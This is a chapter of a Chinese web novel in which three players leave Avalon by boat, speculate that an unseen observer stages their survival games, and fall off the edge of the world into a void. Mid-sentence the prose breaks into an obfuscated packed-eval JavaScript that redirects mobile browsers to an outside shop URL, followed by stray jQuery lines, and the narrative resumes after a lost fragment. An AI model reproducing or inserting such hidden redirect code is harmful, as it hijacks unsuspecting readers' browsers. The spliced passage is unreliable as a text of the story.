海浪拍打滩涂,卷起砂石退去又折返,海风夹带着特有的腥甜打在脸上,那种感觉的确更接近真实。


    这是静若止水的阿瓦隆岛上唯一有风的地方。


    --世界无比广大,你所看见的,未必是真实,你所相信的,未必是唯一。--


    --生,与死,未必就是你曾经的定义--


    老者的话在风中盘旋,像是融化在了里面,久久不散。


    “乘上小船,到海洋里去吧。”


    老者走向小木船,举起法杖将船上的帆扬起。


    “无比广大的世界,你们还有许多机会可以继续游历,当你们去到足够多的地方,也许就会有答案,会明白世界的真相,明白你们自己,是什么。”


    这就是亚瑟王所说的,为他们铺的一段路吧。


    所以,这个世界是有真相的。


    “您说的游历,一定也是充满挑战的吧?”骆桑问。


    “我想是的。”老者回答。


    詹姆斯的脸一下就垮了:“还是这种你死我活的对抗?”


    “呵呵呵……”老者笑而不语。


    骆桑向老者点头致谢:“那,我去看看这个世界,有缘再会。”


    说完便走到了小木船处,等待上船。


    “噢我的上帝……”詹姆斯崩溃,“大法师,告诉我,这不是我的宿命,我简直要被逼疯了!”


    老者问他:“你很拒绝这种游历?”


    詹姆斯:“我真不适合这样的对抗,太煎熬。”


    老者:“你对这个世界不好奇吗?”


    詹姆斯:“我只想要安宁。”


    老者对他点头:“那么,你可以留在阿瓦隆。亚瑟已苏醒,这里不会再有争斗,阿瓦隆的时间流逝几乎为零,你可以在这里,以一个不变的状态,享有永恒的安宁。”


    “真的吗?”詹姆斯喜出望外,“那太好了,请让我留下!”


    老者:“请记住,如果你选择留在阿瓦隆,那么对你来说,阿瓦隆就是永生之境,也是你永久的归宿,你将再不能离开,也再不会有别的可能。”


    詹姆斯沉默片刻,慎重思索后,深吸一口气,道:“阿瓦隆就是我的理想乡,世界再大,也没有更好的地方了,我愿意永远留在这里。”


    老者微笑着点头。


    骆桑在小木船边远远望了詹姆斯一眼,她看到,他的眼神,是幸福的。


    “那么,你们呢?”老者问小个子和王之栋。


    “下一关当然要去闯。”小个子干干脆脆抬步朝船边走。


    “我也不能停留,我期待能有机会活着回去。”王之栋也决定上船。


    老者将选择启程的三人送上小木船,就要施法让船起航。


    “请稍等!”詹姆斯喊道,急急忙忙跑过来,“差点忘了感谢你,骆小姐,还好没有错过。”


    他仰望着船上的骆桑,目光真诚,“能在这里遇到你,我荣幸之至,多亏有你,我才能获得两次胜利,对我来说,这是最好的结局。”


    “谢谢你,骆小姐。”


    骆桑回答:“詹姆斯,你最应该谢的,其实是你自己的善意。”


    “那时你以为我是红方,很想告诉其他人5号是高手,必须严加提防对吧?我之前说了,如果我们是敌对方,你不必遵守任何约定。但你依然选择了口下留情,没有用恶劣的方式去逼死对手。”


    “正是你的口下留情救了蓝方,否则,如果高翔宇知道我擅长玩这个游戏,说不定就会再多盘一层逻辑,再多一层,他就能发现我是在假装,我就挡不了刀了。”


    “……噢是吗!”一米八的中年大胡子男人笑得像个孩子。


    骆桑:“再见了詹姆斯,祝永安。”


    *


    海浪抚过船舷,小木船使进浓雾,阿瓦隆边缘的那片滩涂消失在视线中,詹姆斯挥着手的身影就定格在浓雾最后的剪影里,终于也成了背景的一部分。


    海风呼啸,海浪逐渐汹涌,但小木船在魔法的保护下,平稳航行着。


    “真佩服他的勇气。”再看不到陆地后,王之栋感叹,“要我在同一个地方就这么待下去,什么变化也没有,日复一日,一模一样的日升日落,好像时间都停止了,不孤独死也得无聊死。”


    骆桑:“所以相较之下,你更愿意冒险?”


    王之栋:“至少可以有所期待,万一有惊喜呢。”


    “嚯,惊喜。”小个子瘪着嘴,“惊喜可能就是下一场直接输掉,哏儿~屁~”


    王之栋:“……”


    总有人有把天儿聊死的本事。


    不过看这个小丫头这会儿心情不错的样子,他又尝试问:“冒昧啊,真的不可以问问,你叫什么名字吗?”


    小个子一愣。


    王之栋很小心地:“主要是……之后还要一起旅行,不知道怎么称呼总不方便,不能总叫你小妹妹吧。”


    小个子闷了会儿,终于开了金口:“那你可以叫我烂烂。”


    “……烂?”


    这么取名的很少见啊,“哪个烂字啊?”


    小个子:“还有哪个烂?”


    王之栋很有建设性地:“山花烂漫的烂吧?”


    小个子额上落下两根黑线,无情纠正:“啃黄瓜必须咬烂咬不烂也要踩烂,简称烂烂。”


    王之栋:“……”


    骆桑:“……”


    真的,笑不出来……


    小木船在尴尬的沉默中继续航行。


    尽管是白天,浓雾覆盖的海面视线并不清晰,时间失去锚点,不知过去了多久。


    许久,王之栋叹了口气:“唉,也不知道咱们接下来会去哪里。”


    茫茫大海,连航行的方向都一无所知。


    王之栋:“我起初以为这是一个死后的世界,或者说,介于生死之间过渡的那种地方,在这里呆一呆,就要去阴曹地府。但听那个梅林说的,好像又不是。”


    “生之起点……还没听说过这样的地方呢,有一种,生和死好像是一个循环的意思。”


    “阿瓦隆……确实不是介于生死之间过渡的地方,不是灵魂去往天堂或地狱的中转站,原本的寓意就不是。”


    骆桑说,“在这个世界里代表什么我不知道,我只知道,对詹姆斯来说,它就是天堂本身,而对我们来说,可能更像个训诫所。”


    ……训诫所?


    这个词叫王之栋和小个子都一惊,也莫名其妙。


    骆桑:“看到濒死的亚瑟王复活,又听到一个‘生之起点’,你们是不是就产生了幻想,都觉得可以死而复生?所以你们都愿意继续冒险,哪怕要不断参加你死我活的对抗游戏。”


    “这不像接受了一场训诫?”


    “我没有啊。”小个子否认,“我本来就这么认为的。”


    骆桑:“嗯,你是不需要。”


    王之栋思索了下,还是不太能接受,低声说:“所以你……一点都不相信,这么悲观吗?”


    可能只是因为,我没有你们那么想要死而复生吧……


    骆桑在心里应,但没有说出来。


    王之栋:“那你为什么还要出来冒险呢?既然不认为有活着回到现实的可能,和詹姆斯一样留在阿瓦隆不是更好吗?”


    骆桑沉默半晌,海浪拍打船舷的声音,单调地循环往复。


    “不知道说出来好不好,也可能只是我想多了,我注意到一件事。”许久,骆桑说。


    王之栋和小个子都好奇地看向她。


    骆桑先是把在那艘小木船上进行的5人阵营战的前前后后对王之栋讲述了一遍,然后说:“《阿瓦隆》这类多人阵营对抗游戏有一个特点,如果一场游戏中有人三心二意,不专心投入,或者无所谓输赢乱玩,哪怕只有一个这样的玩家,整场游戏的逻辑都会崩盘。”


    “放在这个世界里就变成了,如果有人本就不想活,那么想活的人也很难把对局正常进行下去。于是,这个世界里的游戏参与者,得全员都有求生欲,才有意思。”


    “才有意思?”王之栋觉得这个形容很刺耳。


    “是的。”


    骆桑语调平静,“所以,从一开始拼命逃上船的就都是想活的,不那么想活的早被拿剑的砍死了。所以有人想要跳湖,也不会被阻止,会被直接放弃然后换一个人;所以有人没有斗志,比如詹姆斯,也会被允许就地止步。”


    “总之,这个世界会用某些方式挑选有强烈求生欲的人来进行对抗,保证这种对抗的……”


    “可观赏性。”


    最后几个字,骆桑放低了声音,字字


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640312|186886||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    重读。


    这让王之栋顿感毛骨悚然:“你说得我鸡皮疙瘩都起来了,就好像有双看不见的眼睛一直把我们盯着,看我们生死PK就像我们看斗鸡斗牛一样。”


    “嗯,就是这种感觉,世界之外,仿佛存在一个观察者。”


    骆桑仰头看向天空,然而浓雾遮住了一切,连太阳都不见踪影。


    她还记得,在小木船上,湖中仙女露出凶相处置壮汉时说过一句话——不听话的人类,没有价值。


    这句话,她印象深刻。


    骆桑:“所以我很想知道,这个世界的真相。”


    王之栋也朝天看,在震惊中努力理清思绪:“难怪你认为我们被训诫了,如果真是这样,那还真是个引诱我们拼命游戏的大饼。”


    “也不一定就是这样吧。”小个子对这个猜测完全不感冒,“赢到最后,死而复生,这非常合理,我看你就是想多了。”


    是的,的确可能就是想多了。


    骆桑丝毫不和她争辩,沉默着遥望满是浓雾的天空。


    即便真是这样,那又如何,对她而言,这个世界已经够仁慈。


    “好像雾要散了。”这时,小个子指着前方说。


    骆桑收回视线朝前看,果真,行驶到某个位置后,浓雾在迅速变薄,视距也在迅速变长。


    阿瓦隆是一座被浓雾包围的神秘小岛,驶出浓雾,就是驶出了阿瓦隆,那么……


    “快到新的地方了吧!”小个子兴奋起来。


    王之栋个子高些,几步走到船头伸长脖子朝前望去。


    他也是带着期待去的,然而,几分钟后,他再转回头来时竟浑身僵直,看向骆桑和小个子的眼里满是惊惧!


    ……!


    骆桑心头一咯噔,也赶忙去船头看。


    她猜测到可能是不顺利,却生生想不到,眼前的场景竟然是……


    “天……”她不由倒吸一口气。


    散去的雾气显露出了海洋的样子,蔚蓝的海水朝前延伸而去,然而就在视距的尽头,海洋竟像一张被巨大剪刀剪断的布匹,沿一条横向的直线戛然而止,所有的海水在越过那条横线后全数坠落,像一座巨型排开的瀑布!


    海洋戛然而止的前方,是一片什么都没有的虚空,漆黑一片,阳光也无法照进分毫,于是那条分界线十分明显,好似画出了这个世界的边界!


    小木船就朝着那边界驶去,以一个恒定不变的速度,视距范围只在百米之内,数秒之后就将越过边界!


    “能停船吗?”这是骆桑的第一反应。


    王之栋惊惶之中没明白什么意思。


    小个子有经验,马上检查桅杆:“停不了,收不了帆!”


    一样的没有缭绳,只靠魔法而无法手动操控。


    可其实就算能操控大概也来不及,雾刚撒开就已抵达边缘,什么都做不了,只能眼睁睁看着小木船无可阻挡地朝边界而去!


    刚离开阿瓦隆,就到了世界尽头……


    “有什么好怕的,不可能安排我们死在这个地方的。”


    面前就是万丈深渊,小个子仍信念十足,“说不定一过去就是新的世界!”


    无人回应,这句话就像定音锤敲了最后一下,余音伴随着船头划开的波浪,一直飘到边界。


    然后,小木船驶出了边界,下方的海洋骤然消失,船身跌入漆黑的虚空,像一只失去翅膀的鸟,随着倾盆而下的无边海水一起坠落。


    此刻才能往下看,下方亦是无尽虚空,深不见底,看不到这些海水流去了哪里。


    世界在一瞬间失聪,像被按下了静音键,连所有落下的海水都寂静无声……


    彻底的失聪,是因为没有了空气,越过边界后,骆桑便感觉无法呼吸,不是因为失重引起的紧绷,而是真的,没有空气!


    这里是真空……


    真空让人做不出任何反应,三人在自由落体中很快和船分离,彼此之间也越来越远。


    不能呼吸让大脑迅速走向晕厥,在失去意识的最后一刻,骆桑用模糊的视线朝越来越遥远的天空望去。


    她忽然觉得,整个阿瓦隆,连同周围的海域和湖面,连同湖那边的卡美洛王国,所有的,在这个世界里看到的一切,仿佛都装在一个巨大的盆子里,构成了一个盆栽……